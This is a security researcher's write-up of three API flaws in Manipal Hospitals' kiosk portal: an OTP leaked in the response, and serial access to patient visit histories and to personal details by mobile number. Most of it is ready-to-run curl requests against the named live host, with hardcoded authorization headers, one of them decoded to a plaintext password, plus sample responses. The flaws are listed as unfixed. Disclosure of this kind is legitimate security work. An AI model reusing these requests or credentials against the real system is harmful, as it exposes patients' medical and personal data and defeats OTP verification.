Manipal Hospitals pvt ltd vulnerability 2024

The Manipal hospital pvt ltd has a mandatory registration process on its kiosk https://kiosk.manipalhospitals.com for OPD consultations. The portal collects a lot of information within minutes but the same personal data deletion takes 3-4 months.

The portal had numerous vulnerabilities that allowed to get the user's personal data in a serial access and "protected" just by a static Authorization header exposed in the front-end code.

Summary of the vulnerabilities:

Sr	API	Date reported	Date fixed	Days taken	CERT-in reference number
1	KioskOtpVerification	27 December 2024	Never reverted	more than 60 days	91742724
2	PatientVisitHistory	27 December 2024	Never reverted	more than 60 days	91742724
3	PatDetailsByMobileNo	27 December 2024	Never reverted	more than 60 days	91742724

Root cause in OWASP terms:

• A01 2021 Broken Access Control: CWE-35 Path Traversal, CWE-284 Improper Access Control, CWE-285 Improper Authorization
• A02 2021 Cryptographic Failures: CWE-321 Use of Hard-coded Cryptographic Key
• A04 2021 Insecure Design: Insecure Direct Object Reference
• A07 2021 Identification and Authentication Failures: CWE-287 Improper Authentication, CWE-613 Insufficient Session Expiration

1. KioskOtpVerification

This API is used to send an OTP to the given phone number. This API defeated the point of OTP verification by sending back the OTP in the API response.

timest=$(date '+%F_%T')
curl -v 'https://kiosk.manipalhospitals.com/ManipalKioskApi/api/OTP/KioskOtpVerification' -X POST -H \
'Authorization: Basic RW1wdWxzZURldjprXzNHNVtrKjF9NkBpMic=' \
--data-raw '{"mobileNumber":"91$$$$$$$$$$","hospitalCode":"MHJ"}' \
-o otp_exposed_$timest.json

Sample Response

{
    "mobile": "91$$$$$$$$$$",
    "otp": 123456,
    "messages": "{
    \"messages\": [{
        \"messageId\": \"4xxxxxxxxxxxxxxxxxxxx1\",
        \"status\": {
          \"description\": \"Message sent to next instance\",
          \"groupId\": 1,
          \"groupName\": \"PENDING\",
          \"id\": 26,
          \"name\": \"PENDING_ACCEPTED\"
        },
        \"to\": \"91$$$$$$$$$$\"
        }
    ]}",
    "successMessage": "Sms Sent Successfully !!!"
}

2. PatientVisitHistory

This endpoint allowed serial access (increasing UHID) to a patient's visit history by relying on a static Authorization header.

The header can be decoded to the following

echo RW1wdWxzZUhJUzonKTNRYz00MEk7PDdIdFdF | base64 -d
EmpulseHIS:')3Qc=40I;<7HtWE

timest=$(date '+%F_%T')
curl 'https://kiosk.manipalhospitals.com/ManipalDataSync/PatientVisitHistory' -X POST -H \
'Authorization: Basic RW1wdWxzZUhJUzonKTNRYz00MEk7PDdIdFdF' \
--data-raw '{"UHID":"MHXXXXXXXX7^01/01/2020^27/12/2024","hospitalCode":"MHB"}'  \
-o pat_vis_his_$timest.json

Sample Response

{
    "ErrorMessage": "null",
    "Message": "",
    "Status": "",
    "visithistory": {
        "Status": "Success",
        "PatientName": "XXXXXXXXXXX",
        "UHID": "MHXXXXXXXX7",
        "Age": "XXX",
        "Gender": "XXXX",
        "Email": "XXXXXX",
        "VisitHistory": [
            {
                "EpisodeNo": "XXXXXXXXXXX",
                "VisitDate": "15/06/2022",
                "EpisodeType": "O",
                "VisitTime": "13:15",
                "DoctorName": "Dr. XXXXXXXXXX",
                "Department": "CARDIOTHORACIC SURGERY MHB",
                "DischargeDate": "",
                "HospitalCode": "MHB",
                "DoctorCode": "mhbdcxxxxx",
                "DeptCode": "MHBDCTS",
                "ArrivalStatus": "Departed",
                "Consultation Type": "HV",
                "EpisID": "XXXXXXXXXX"
            },
            {
                "EpisodeNo": "XXXXXXXXXXX",
                "VisitDate": "15/06/2022",
                "EpisodeType": "O",
                "VisitTime": "10:05",
                "DoctorName": "Dr. XXXXXXXXXX",
                "Department": "CARDIOTHORACIC SURGERY MHB",
                "DischargeDate": "",
                "HospitalCode": "MHB",
                "DoctorCode": "mhbdcxxxxx",
                "DeptCode": "MHBDCTS",
                "ArrivalStatus": "Admitted",
                "Consultation Type": "HV",
                "EpisID": "XXXXXXXXXX"
            },
            {
                "EpisodeNo": "XXXXXXXXXXX",
                "VisitDate": "07/06/2022",
                "EpisodeType": "I",
                "VisitTime": "11:30",
                "DoctorName": "Dr. XXXXXXXXXX",
                "Department": "CARDIOTHORACIC SURGERY MHB",
                "DischargeDate": "",
                "HospitalCode": "MHB",
                "DoctorCode": "mhbdcxxxxx",
                "DeptCode": "MHBDCTS",
                "ArrivalStatus": "Admitted",
                "Consultation Type": "HV",
                "EpisID": "XXXXXXXXXX"
            },
            {
                "EpisodeNo": "XXXXXXXXXXX",
                "VisitDate": "31/05/2022",
                "EpisodeType": "I",
                "VisitTime": "10:05",
                "DoctorName": "Dr. XXXXXXXXXX",
                "Department": "CARDIOTHORACIC SURGERY MHB",
                "DischargeDate": "",
                "HospitalCode": "MHB",
                "DoctorCode": "mhbdcxxxxx",
                "DeptCode": "MHBDCTS",
                "ArrivalStatus": "Admitted",
                "Consultation Type": "HV",
                "EpisID": "XXXXXXXXXX"
            },
            {
                "EpisodeNo": "XXXXXXXXXXX",
                "VisitDate": "21/05/2022",
                "EpisodeType": "O",
                "VisitTime": "13:45",
                "DoctorName": "Dr. XXXXXXXXXX",
                "Department": "CARDIOTHORACIC SURGERY MHB",
                "DischargeDate": "",
                "HospitalCode": "MHB",
                "DoctorCode": "mhbdcxxxxx",
                "DeptCode": "MHBDCTS",
                "ArrivalStatus": "Departed",
                "Consultation Type": "HV",
                "EpisID": "XXXXXXXXXX"
            },
            {
                "EpisodeNo": "XXXXXXXXXXX",
                "VisitDate": "27/04/2022",
                "EpisodeType": "O",
                "VisitTime": "14:55",
                "DoctorName": "Dr. XXXXXXXXXX",
                "Department": "CARDIOTHORACIC SURGERY MHB",
                "DischargeDate": "",
                "HospitalCode": "MHB",
                "DoctorCode": "mhbdcxxxxx",
                "DeptCode": "MHBDCTS",
                "ArrivalStatus": "Admitted",
                "Consultation Type": "HV",
                "EpisID": "XXXXXXXXXX"
            },
            {
                "EpisodeNo": "XXXXXXXXXXX",
                "VisitDate": "27/04/2022",
                "EpisodeType": "O",
                "VisitTime": "14:45",
                "DoctorName": "Dr. XXXXXXXXXX",
                "Department": "CARDIOTHORACIC SURGERY MHB",
                "DischargeDate": "",
                "HospitalCode": "MHB",
                "DoctorCode": "mhbdcxxxxx",
                "DeptCode": "MHBDCTS",
                "ArrivalStatus": "Departed",
                "Consultation Type": "HV",
                "EpisID": "XXXXXXXXXX"
            },
            {
                "EpisodeNo": "XXXXXXXXXXX",
                "VisitDate": "23/04/2022",
                "EpisodeType": "O",
                "VisitTime": "12:40",
                "DoctorName": "Dr. XXXXXXXXXX",
                "Department": "CARDIOTHORACIC SURGERY MHB",
                "DischargeDate": "",
                "HospitalCode": "MHB",
                "DoctorCode": "mhbdcxxxxx",
                "DeptCode": "MHBDCTS",
                "ArrivalStatus": "Admitted",
                "Consultation Type": "HV",
                "EpisID": "XXXXXXXXXX"
            },
            {
                "EpisodeNo": "XXXXXXXXXXX",
                "VisitDate": "18/04/2022",
                "EpisodeType": "O",
                "VisitTime": "13:35",
                "DoctorName": "Dr. XXXXXXXXXX",
                "Department": "CARDIOTHORACIC SURGERY MHB",
                "DischargeDate": "",
                "HospitalCode": "MHB",
                "DoctorCode": "mhbdcxxxxx",
                "DeptCode": "MHBDCTS",
                "ArrivalStatus": "Admitted",
                "Consultation Type": "HV",
                "EpisID": "XXXXXXXXXX"
            },
            {
                "EpisodeNo": "XXXXXXXXXXX",
                "VisitDate": "16/04/2022",
                "EpisodeType": "O",
                "VisitTime": "15:50",
                "DoctorName": "Dr. XXXXXXXXXX",
                "Department": "CARDIOTHORACIC SURGERY MHB",
                "DischargeDate": "",
                "HospitalCode": "MHB",
                "DoctorCode": "mhbdcxxxxx",
                "DeptCode": "MHBDCTS",
                "ArrivalStatus": "Departed",
                "Consultation Type": "HV",
                "EpisID": "XXXXXXXXXX"
            },
            {
                "EpisodeNo": "XXXXXXXXXXX",
                "VisitDate": "16/04/2022",
                "EpisodeType": "O",
                "VisitTime": "13:15",
                "DoctorName": "Dr. XXXXXXXXXX",
                "Department": "CARDIOTHORACIC SURGERY MHB",
                "DischargeDate": "",
                "HospitalCode": "MHB",
                "DoctorCode": "mhbdcxxxxx",
                "DeptCode": "MHBDCTS",
                "ArrivalStatus": "Admitted",
                "Consultation Type": "HV",
                "EpisID": "XXXXXXXXXX"
            },
            {
                "EpisodeNo": "XXXXXXXXXXX",
                "VisitDate": "11/04/2022",
                "EpisodeType": "O",
                "VisitTime": "14:30",
                "DoctorName": "Dr. XXXXXXXXXX",
                "Department": "CARDIOTHORACIC SURGERY MHB",
                "DischargeDate": "",
                "HospitalCode": "MHB",
                "DoctorCode": "mhbdcxxxxx",
                "DeptCode": "MHBDCTS",
                "ArrivalStatus": "Departed",
                "Consultation Type": "HV",
                "EpisID": "XXXXXXXXXX"
            },
            {
                "EpisodeNo": "XXXXXXXXXXX",
                "VisitDate": "07/03/2022",
                "EpisodeType": "O",
                "VisitTime": "13:00",
                "DoctorName": "Dr. XXXXXXXXXX",
                "Department": "PAEDIATRIC CARDIOLOGY  MHB",
                "DischargeDate": "",
                "HospitalCode": "MHB",
                "DoctorCode": "mhbdcxxxxx",
                "DeptCode": "MHBDPCS",
                "ArrivalStatus": "Departed",
                "Consultation Type": "HV",
                "EpisID": "XXXXXXXXXX"
            }
        ]
    }
}

3. PatDetailsByMobileNo

This API accepted a phone number and provided the patient details like name, dob, email, gender etc.

The Authorization header is the same as in the above vulnerability.

timest=$(date '+%F_%T')
curl -v 'https://kiosk.manipalhospitals.com/ManipalDataSync/PatDetailsByMobileNo' -X POST -H \
'Authorization: Basic RW1wdWxzZUhJUzonKTNRYz00MEk7PDdIdFdF' \
 --data-raw '{"mobileno":"$$$$$$$$$$","locationCode":"MHJ"}' \
-o get_pat_by_mob_$timest.json

Sample Response

{
    "ErrorMessage": "null",
    "Message": "SUCCESS",
    "Status": "SUCCESS",
    "PatDetailResp": [
        {
        "Status": "Success",
        "Message": "Success",
        "HospNo": "MH$$$$$$$$7",
        "PatientName": "MR $$$$$$$$ ",
        "DOB": "$$/$$/$$$$",
        "Age": "$$ Yrs",
        "Sex": "$$$$$$$$",
        "MobileNo": "$$$$$$$$$$",
        "Email": "$$$$$$$$@$$$$$.$$$"
        }
    ]
}